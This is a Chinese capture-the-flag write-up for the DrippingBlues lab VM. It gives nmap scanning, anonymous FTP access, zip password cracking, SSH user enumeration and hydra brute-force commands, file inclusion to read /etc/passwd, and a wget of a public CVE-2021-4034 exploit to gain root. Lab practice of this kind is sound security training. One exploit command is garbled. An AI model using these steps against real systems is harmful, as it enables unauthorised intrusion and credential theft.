目录
一、信息收集
靶机(ubuntu)ip:192.168.72.141
攻击机器(kali)ip:192.168.72.140
(一)配置网络连接方式
将两虚拟机网络连接方式设置为NAT模式。
(二)启动目标靶机drippingblues、确定其IP地址
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o27nh0ge-1661481635690)(./images/1661431893731.png)]
在攻击靶机上键入
ifconfig
得到攻击机器ip地址为192.168.72.140
使用nmap确定靶机的IP
nmap -sn 192.168.72.0/24
靶机ip为192.168.72.141
(三)确定靶机运行的服务及相关信息
键入
nmap -sV 192.168.72.141
结果如下
(1)21端口:FTP服务-anonymous匿名登陆
1.FTP-anonymous用户匿名登陆
FTP
服务有时可以使用anonymous
用户进行无密码登录
键入下述命令,输入用户名anonymous
,是需要输入密码时直接按下回车键,结果如下图:
ftp 192.168.72.141
键入help
命令查看有哪些命令,ls
查看有哪些文件,get respectmydrip.zip
命令下载respectmydrip.zip
。(pwd
命令发现当前所在目录已经是根目录'\'
了,所以21
端口可用的信息到此为止)
2.zip2john+john破解zip密码
键入命令zip2john respectmydrip.zip > passwd.txt
可以将respectmydrip.zip
的密码的md5值输出到passwd.txt
文件中,通过john passwd.txt
命令,得到respectmydrip.zip
的密码,为072528035(等待时间较长为正常现象)
unzip respectmydrip.zip
,输入刚刚的密码,解压出来两个文件,一个是respectmydrip.txt
,另一个是secret.zip
,尝试了一下,压缩包没有能爆破出来。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ncmEfxxd-1661481635691)(./images/1661435508784.png)]
打开文本文件,暂时不知道respectmydrip.txt
文件内的内容是什么意思,可能之后会用到 。
(2)22端口:ssh协议-OPENSSH用户名穷举漏洞
使用msfconsel
命令,search openssh
,选择下图所示漏洞use auxiliary/scanner/ssh/ssh_enumusers
show options
, 设置参数set RHOSTS 192.168.72.141
,set RPORT 22
,set user_file /usr/share/wordlists/metasploit/piata_ssh_userpass.txt
输入run
这里发现用户名超级多,而且很乱,靶机应该是被人蹂躏过了,可以尝试用hydra
的命令对进行ssh
弱口令爆破,不过我这里没有尝试。(尝试了十几个但都不对,后来发现绝大部分用户名都不在/etc/passwd
里)
hydra -l username -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.168.72.141:22
(3)80端口:http服务-文件包含漏洞
1.扫描目标url下的文件
dib http://192.168.72.141:80
主要看http://192.168.72.141/robots.txt
第一个http://192.168.72.141//dripisreal.txt
如下,暂时看不出什么,即使按照其要求去做,得到的内容也是不明不白。
而刚刚http://192.168.72.141/robots.txt
的第二个内容就比较耐人寻味了,因为是一个html页面,一般来说,这种html页面用在被其他的如php页面包含,所以考虑到文件包含漏洞。至此开始攻击
二、漏洞利用
在index
界面(可打开的界面只有index
了)尝试利用文件包含漏洞,用file
、include
包含html
文件,均失败了,想到刚刚在压缩包文件下的内容just focus on "drip"
,于是用drip
进行文件包含(阴间、实在阴间)。
没什么东西,不过文件还是可能被正常包含进来了,查看以下网页源代码,密码为imdrippinbiatch
再把/etc/passwd
包含以下,结果如下
这里看不方便,进入源代码,结果如下:
主要关注上图划线部分,原因有二:一是其uid
为1001
,是普通用户的常用的id
,而是和下图中index
界面划线部分名字的其中一个一样
三、提升权限
ssh
远程连接
ssh thugger@192.168.72.141 -p 22
在用户目录下发现user.txt
文件,打开得到一串字符,猜测是md5
值
用这个网站进行md5解密,得到字符串toomanydrip
(一)寻找可用于提权的内容
1.使用命令提权
find / -perm -u=s 2>/dev/null
并没有发现可利用的提权命令。
2.使用正在运行进程的漏洞进行提权
使用命令
ps -aux
找到这个进程(说实话我感觉有点离谱,但自己又找不到其他的东西了,参考的别人的博客)
polkit 是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。
Polkit 在系统层级进行权限控制,提供了一个低优先级进程和高优先级进程进行通讯的系统。和 sudo 等程序不同,Polkit 并没有赋予进程完全的 root 权限,而是通过一个集中的策略系统进行更精细的授权。
Polkit 定义出一系列操作,例如运行 GParted, 并将用户按照群组或用户名进行划分,例如 wheel 群组用户。然后定义每个操作是否可以由某些用户执行,执行操作前是否需要一些额外的确认,例如通过输入密码确认用户是不是属于某个群组。
最后直接在github上找这个软件的漏洞
键入以下命令以利用CVE-2021-4034漏洞提升权限
wget https://github.com/nikaiw/CVE-2021-4034/archive/refs/heads/master.zip
unzip master.zip
cd CVE-2021-4034-master/
python3 cve2021cd CVE-2021-4034-master/-4034.py
提权成功
进入到root
文件夹后找到root.txt
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hL51MsWk-1661481635691)(./images/1661478353496.png)]
root.txt
文件下的md5
值没能解密出来。